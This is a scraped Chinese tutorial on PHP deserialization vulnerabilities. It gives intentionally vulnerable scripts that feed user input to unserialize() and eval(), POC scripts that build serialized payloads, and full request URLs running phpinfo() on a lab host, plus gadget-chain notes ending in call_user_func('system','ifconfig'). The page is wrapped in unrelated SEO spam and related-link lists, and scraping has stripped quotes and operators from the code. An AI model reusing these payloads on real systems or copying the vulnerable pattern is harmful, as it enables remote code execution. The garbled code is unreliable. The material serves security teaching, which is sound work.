当前位置: 首页 > news >正文

聊城网站案例做网站开发语言

聊城网站案例,做网站开发语言,邵阳市建设网站,汉中中药材初加工平台反序列化漏洞(1), 原理, 实验, 魔术方法 一, 介绍 反序列化漏洞是一种存在于反序列化过程中的漏洞#xff0c;它允许攻击者通过控制反序列化的数据来操纵序列化对象#xff0c;并将有害数据传递给应用程序代码。 这种漏洞可能造成代码执行、获取系统权限等一系列不可控的后…反序列化漏洞(1), 原理, 实验, 魔术方法 一, 介绍 反序列化漏洞是一种存在于反序列化过程中的漏洞它允许攻击者通过控制反序列化的数据来操纵序列化对象并将有害数据传递给应用程序代码。 这种漏洞可能造成代码执行、获取系统权限等一系列不可控的后果。在PHP、Java、Python等语言中都存在这种反序列化漏洞。 在PHP中反序列化漏洞主要出现在对用户输入的反序列化字符串没有进行正确检测和过滤的情况下这可能导致恶意攻击者通过控制反序列化的数据来执行任意的PHP代码。 二, 漏洞实验 1. 实验1, 基本原理 (1) 准备后端php脚本basic.php ?php class People {var $name ; var $sex ;var $age 0;var $addr ;// 魔术方法__construct指类在实例化的时候会自动调用function __construct($name张三, $sex男, $age30, $addr成都高新区) {$this-name $name;$this-sex $sex;$this-age $age;$this-addr $addr;echo 正在初始化. br/;}// 魔术方法__destruct代码运行结束时类的实例从内存中释放时自动调用function __destruct() {echo 正在释放资源. br/;}// 魔术方法__sleep在类实例被序列化时自动调用function __sleep() {echo 正在序列化. br/;// 返回一个由序列化类的属性名构成的数组return array(name, sex, age, addr);}// 魔术方法__wakeup在字符串被反序列化成对象时自动调用// 反序列化时不会自动调用__construct同时调用完__wakeup后仍然会调用__destructfunction __wakeup() {echo 正在被反序列化. br/;}function getName() {echo $this-name . br/;} }class Test {public $phone ;var $ip ;public function __wakeup () {$this-getPhone();}public function __destruct() {echo $this-getIp();}public function getPhone() {echo $this-phone;eval($this-phone);}public function getIp() {echo $this-ip;} }$source $_POST[source]; $p2 unserialize($source); ?上面的代码定义了两个类 People 和 Test , post方法的source参数用户可控, unserialize 方法将source传入的字符串进行反序列化. 反序列化开始后, 先调用__wakeup方法, 再调用__destruct方法. 那么攻击者可以通过输入source参数来控制后端实例化某个对象, 实例化的对象会自动调用__wakeup方法. (2) 利用漏洞. 下面的post请求使后端php代码实例化Test对象, 传入对象的属性phone的值为phpinfo();, 接着自动调用 __wakeup 方法, 调用getPhone方法, eval($this-phone); 通过eval函数执行phpinfo(). 那么通过post提交不同的对象属性值即可执行不同的命令. url: http://192.168.112.200/security/unserial/basic.php payload: sourceO:4:Test:1:{s:5:phone;s:10:phpinfo();;}当然自己手动来写序列化后的字符串容易出错, 我们可以制作一个php脚本POC, 用来把序列化后的字符串显示出来再使用. class Test{public $phone ;var $ip ; } $t new Test(); $t-phone phpinfo();; $t-ip 127.0.0.2; echo serialize($t);2. 实验2, 编写POC (1) 后端php脚本 ustest-1.php ?phpclass Csdn {var $a;function __construct() {$this-a new Test();}function __destruct() {$this-a-hello();} }class Test {function hello() {echo Hello World.;} }class Vul {var $data;function hello() {eval($this-data);} }unserialize($_GET[code]);?(2) 编写poc脚本获取序列化字符串 我们最终需要调用Vule的hello方法来执行命令. 虽然在源码中Csdn的__construct生成的是Test对象, 我们可以通过自己构造一个poc脚本改成Vul对象, 这样就能在后续的__destruct方法中调用到Vul对象的hello方法, 而不是原本Test的hello方法. poc脚本的关键在于修改Csdn的属性a, 和Vul的属性data. ?phpclass Csdn {var $a;function __construct() {$this-a new Vul();} }class Vul {var $data phpinfo();; }echo serialize(new Csdn());?结果: O:5:Csdn:1:{s:1:a;O:3:Vul:1:{s:4:data;s:10:phpinfo();;}}(3) 利用漏洞 发送GET请求: 192.168.112.200/security/unserial/ustest-1.php ?codeO:5:Csdn:1:{s:1:a;O:3:Vul:1:{s:4:data;s:10:phpinfo();;}}3. 实验3 带有访问修饰符的变量 (1)后端php脚本 ?php class Csdn {private $a; // 访问修饰function __construct() {$this-a new Test();}function __destruct() {$this-a-hello();} }class Test {function hello() {echo Hello World.;} }class Vul {protected $data; // 访问修饰function hello() {eval($this-data);} }unserialize($_GET[code]); ?(2) 编写poc脚本获取序列化字符串 需要注意poc中的变量修饰需要跟后端的类定义保持一直才有效. ?phpclass Csdn {private $a;function __construct() {$this-a new Vul();} }class Vul {protected $data phpinfo();; }echo serialize(new Csdn());?结果: O:5:Csdn:1:{s:8:Csdna;O:3:Vul:1:{s:7:*data;s:10:phpinfo();;}}从结果中发现序列化后的数据和长度不一致, 比如s:8:Csdna;, 所以这里的字符串还不是有效的, 直接复制出来无法使用. 这是因为对于私有修饰的变量, 序列化后会将变量所属的类名也带上, 且中间有一个不可见的分隔符%00. 而s:7:*data;这里的长度看起来也不对, 这里也存在不可见字符没有显示出来. 通过查看源码可以看到不可见的字符位置. 对于不可见字符无法直接复制出来使用. 对于这种情况, 需要对序列化后的字符串进行url编码. echo urlencode(serialize(new Csdn()));结果: O%3A5%3A%22Csdn%22%3A1%3A%7Bs%3A8%3A%22%00Csdn%00a%22%3BO%3A3%3A%22Vul%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D(3) 利用漏洞 发送GET请求: 192.168.112.200/security/unserial/ustest-1.php ?codeO%3A5%3A%22Csdn%22%3A1%3A%7Bs%3A8%3A%22%00Csdn%00a%22%3BO%3A3%3A%22Vul%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D三, 反序列化相关的魔术方法 1. 反序列化的常见起点: __wakeup(): 当一个对象被反序列化unserialize时__wakeup方法会被自动调用。这个方法通常用于重新建立数据库连接或执行其他初始化操作。 __destruct(): 这个方法在对象销毁时调用。虽然它不是反序列化的直接部分但是它可能在反序列化对象的生命周期结束时被触发。 __toString(): 如果一个被反序列化的对象被当做字符串使用例如在echo语句中__toString方法会被调用。它允许对象决定如何响应字符串化。 2. 反序列化的常见中间跳板: __toString(): 如上所述这个方法在对象被当作字符串处理时调用。 __get(): 当读取对象中不可访问或不存在的属性时会调用这个方法。它可以用于拦截这些属性的读取操作。 __set(): 类似于__get但这个方法在给不可访问或不存在的属性赋值时被调用。 __isset(): 当对不可访问或不存在的属性使用isset()或empty()函数时此方法被调用。它通常用于检查一个属性是否设置。 3. 反序列化的常见终点: __call(): 当尝试调用对象中不可访问或不存在的方法时会调用此方法。 call_user_func(): 这是PHP的一个函数用于调用回调函数。在反序列化中它可能被用来执行某些动作。 call_user_func_array(): 类似于call_user_func但它允许传递参数数组给回调函数。 在一些web框架中经常会使用 call_user_func_array() 函数来执行php代码, 而不是直接使用eval函数.以下是一些代码案例: ?phpfunction demo($a, $b) {echo $a $b;echo br/; }class Test {function add($a, $b) {echo $a $b;echo br/;}function __call($name, $args) {echo $name . 方法不存在. br/;var_dump($args) . br/;} }// 使用 call_user_func 调用 call_user_func(demo, 100, 200); call_user_func(array(Test, add), 1000, 2000);// call_user_func_array函数和call_user_func很相似只是换了一种方式传递参数让参数的结构更清晰 call_user_func_array(demo, array(120, 220)); call_user_func_array(array(Test, add), array(1200, 2200));// 当调用不存在的方法时__call会被触发 $t new Test(); $t-minus(111,222);call_user_func(system, ifconfig); call_user_func_array(system, [new Test(), ifconfig]);?
http://wiki.neutronadmin.com/news/352044/

相关文章:

  • 做网站卖赚钱吗廊坊网站建设招聘
  • 汕头seo网站优化网站开发的经济效益分析
  • 梅县区住房和城市建设局网站wordpress能大网站
  • 体检中心网站建设方案制作企业网站的基本步骤
  • 适合学生做的网站直聘最新招聘信息
  • 旅游网站设计内容网页传奇怎么制作
  • 上海网站建设网页设软件开发流程是哪几个
  • 网站过场动画佛山中谦建设网站
  • 建网站最少需要多少钱网站建设费属于广告费用吗
  • 洛阳集团网站建设没效果
  • 自建网站如何盈利免费咨询心理医生qq号
  • 西部数码网站管理助手 mysqlui设计介绍
  • 西安软件优化网站建设温州哪里有网站优化
  • 福州高端网站建设公司电脑连上网打不开网页
  • 家具网站设计网站搭建网站代码
  • 柚子网站建设泰州网络营销
  • 如何做高大上的网站 知乎哪个网站可以免费做国外
  • 宿迁做网站的公司wordpress做导航页面模板下载
  • 自己动手建设公司门户网站网站开发前后端分离要多少钱
  • 网站后台关键词链接怎样做wordpress栏目管理
  • 网站推广与宣传怎么做软件工程考研率为何低
  • 湖北可以做网站方案的公司wordpress生成静态 mip
  • 做网站加推广飞飞cms官网
  • 昆山网站制作昆山网站建设站长统计芭乐鸭脖小猪
  • 宾馆网站如何做会计分录软件开发的职业规划1000
  • 企业官网模板站服务器网站建设流程图
  • 常德网站建设企业网站建设一般要素
  • 网站开发一般用什么开发语言如何提高seo关键词排名
  • 网站建设自自己做网站导航
  • 网站设计排版布局芗城网站建设公司